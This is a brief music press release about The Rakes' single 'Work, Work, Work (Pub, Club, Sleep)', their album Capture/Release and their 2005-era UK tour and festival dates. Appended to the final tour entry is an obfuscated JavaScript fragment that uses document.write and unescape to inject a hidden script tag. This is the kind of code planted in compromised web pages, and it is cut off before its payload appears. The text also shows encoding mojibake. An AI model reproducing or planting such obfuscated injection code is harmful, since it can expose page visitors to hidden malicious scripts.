Overview
The Rakes release a new single Work, Work, Work (Pub, Club, Sleep) through V2 Records on 25th July. The bands debut album Capture/Release, is released two weeks later on 8th August and contains all the bands previous singles including their debut limited edition single 22 Grand Job.
Work, Work, Work (Pub, Club, Sleep) will be released on two CDs and 7â€.
The Rakes have just completed a tour of Japan and Europe where they played with Bloc Party.
In support of the release the band will be playing the following UK dates and festivals:
June
Tue 21st Cardiff Barfly
Wed 22nd London ICA â€" Moshi Moshi Records Party
Fri 24th Glastonbury Leftfield Stage
Sat 25th Glastonbury John Peel Stage
Sun 26th Glastonbury Guardian Guide Stage
Thu 30th London Hyde Park Wireless Festival
July
Sat 9th Kinross T in The Park Festival
August
Mon 8th Edinburgh Liquid Room
Tue 9th Manchester Academy 3
Wed 10th London Mean Fiddler
Thu 11th Birmingham Academy 2
Fri 26th Leeds Carling Festival NME/Radio 1 Stage
Sun 28th Reading Carling Festival NME/Radio 1 Stage
September
Fri 9th Isle of Wight Bestival Festivaldocument.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
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